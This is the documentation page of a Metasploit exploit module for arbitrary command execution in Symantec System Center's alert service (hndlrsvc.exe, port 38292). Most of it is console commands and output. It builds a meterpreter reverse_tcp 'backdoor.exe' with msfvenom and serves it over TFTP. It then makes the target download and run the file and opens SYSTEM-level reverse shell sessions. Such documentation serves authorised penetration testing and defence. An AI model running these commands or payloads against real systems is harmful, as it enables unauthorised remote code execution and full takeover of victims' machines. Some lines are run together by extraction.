documentation/modules/exploit/windows/antivirus/ams_hndlrsvc.md
This module exploits Symantec System Center's alert management system (hndlrsvc.exe) with an arbitrary command execution. The payload is uploaded via TFTP and then executed on the system. This is part of Symantec AntiVirus Corporate Edition 8.0-10.1.7
use exploit/windows/antivirus/ams_hndlrsvcset rhostexploitOptional command line to run instead of attempting to directly inject a payload
The port the service is running on. Default is 38292.
If the module doesn't work for a shell, it's possible to run the CMD twice to emulate the steps the module takes.
atftpd --daemon --port=69 /tftpboot/msfvenom -p windows/meterpreter/reverse_tcp LHOST=1.1.1.1 lport=4444 -f exe -o /tftpboot/backdoor.exeuse exploit/windows/antivirus/ams_hndlrsvcset CMD 'tftp -i 1.1.1.1 GET backdoor.exe'set cmd 'backdoor.exe'root@kali:~/metasploit-framework# ./msfconsole
msf > ifconfig
[*] exec: ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 1.1.1.1 netmask 255.255.255.0 broadcast 192.168.3.255
inet6 fe80::20c:29ff:fef9:62a1 prefixlen 64 scopeid 0x20<link>
ether 00:0c:29:f9:1f:a1 txqueuelen 1000 (Ethernet)
RX packets 70933 bytes 39287343 (37.4 MiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 11688 bytes 3788654 (3.6 MiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
msf > use exploit/multi/handler
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 1.1.1.1
lhost => 1.1.1.1
msf exploit(handler) > set lport 4444
lport => 4444
msf exploit(handler) > exploit -j
[*] Exploit running as background job.
[*] Started reverse TCP handler on 1.1.1.1:4444
[*] Starting the payload handler...
msf exploit(handler) > use exploit/windows/antivirus/ams_hndlrsvc
msf exploit(ams_hndlrsvc) > set rhost 2.2.2.2
rhost => 2.2.2.2
msf exploit(ams_hndlrsvc) > set lport 9999
lport => 9999
msf exploit(ams_hndlrsvc) > set cmd 'tftp -i 1.1.1.1 GET backdoor.exe'
CMD => tftp -i 1.1.1.1 GET backdoor.exe
msf exploit(ams_hndlrsvc) > run
[*] Started reverse TCP handler on 1.1.1.1:9999
[*] 2.2.2.2:38292 - Executing command 'tftp -i 1.1.1.1 GET backdoor.exe'
[*] Exploit completed, but no session was created.
msf exploit(ams_hndlrsvc) > set cmd 'backdoor.exe'
cmd => backdoor.exe
msf exploit(ams_hndlrsvc) > run
[*] Started reverse TCP handler on 1.1.1.1:9999
[*] 2.2.2.2:38292 - Executing command 'backdoor.exe'
[*] Sending stage (957999 bytes) to 2.2.2.2
[*] Meterpreter session 1 opened (1.1.1.1:4444 -> 2.2.2.2:1038) at 2016-09-30 11:59:13 -0400
[*] Exploit completed, but no session was created.
msf exploit(ams_hndlrsvc) > sessions -l
Active sessions
===============
Id Type Information Connection
-- ---- ----------- ----------
1 meterpreter x86/win32 NT AUTHORITY\SYSTEM @ WEBB 1.1.1.1:4444 -> 2.2.2.2:1038 (2.2.2.2)
msf exploit(ams_hndlrsvc) > sessions -v
Active sessions
===============
Session ID: 1
Type: meterpreter x86/win32
Info: NT AUTHORITY\SYSTEM @ WEBB
Tunnel: 1.1.1.1:4444 -> 2.2.2.2:1038 (2.2.2.2)
Via: exploit/multi/handler
UUID: 0a85ec1678bc8465/x86=1/windows=1/2016-09-30T15:59:12Z
MachineID: 8b2889ec93a961f2cc3f2db4620def57
CheckIn: 28s ago @ 2016-09-30 12:00:15 -0400
Registered: No
msf exploit(ams_hndlrsvc) >
msf > use exploit/windows/antivirus/ams_hndlrsvc
msf exploit(ams_hndlrsvc) > set rhost 2.2.2.2
rhost => 2.2.2.2
msf exploit(ams_hndlrsvc) > set lport 4445
lport => 4445
msf exploit(ams_hndlrsvc) > show options
Module options (exploit/windows/antivirus/ams_hndlrsvc):
Name Current Setting Required Description
---- --------------- -------- -----------
CMD no Execute this command instead of using command stager
LHOST 1.1.1.1 no The listen IP address from where the victim downloads the payload
RHOST 2.2.2.2 yes The target address
RPORT 38292 yes The target port
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 1.1.1.1 yes The listen address
LPORT 4445 yes The listen port
Exploit target:
Id Name
-- ----
0 Windows Universal
msf exploit(ams_hndlrsvc) > exploit
[*] Started reverse TCP handler on 1.1.1.1:4445
[*] 2.2.2.2:38292 - Sending request to 2.2.2.2:38292
[+] 2.2.2.2:38292 - tftp -i 1.1.1.1 GET OQTAVJBVWZH.exe
[*] 2.2.2.2:38292 - Attempting to execute the payload...
[+] 2.2.2.2:38292 - OQTAVJBVWZH.exe
[*] Sending stage (957999 bytes) to 2.2.2.2
[*] Meterpreter session 1 opened (1.1.1.1:4445 -> 2.2.2.2:1041) at 2016-09-30 12:13:18 -0400
meterpreter >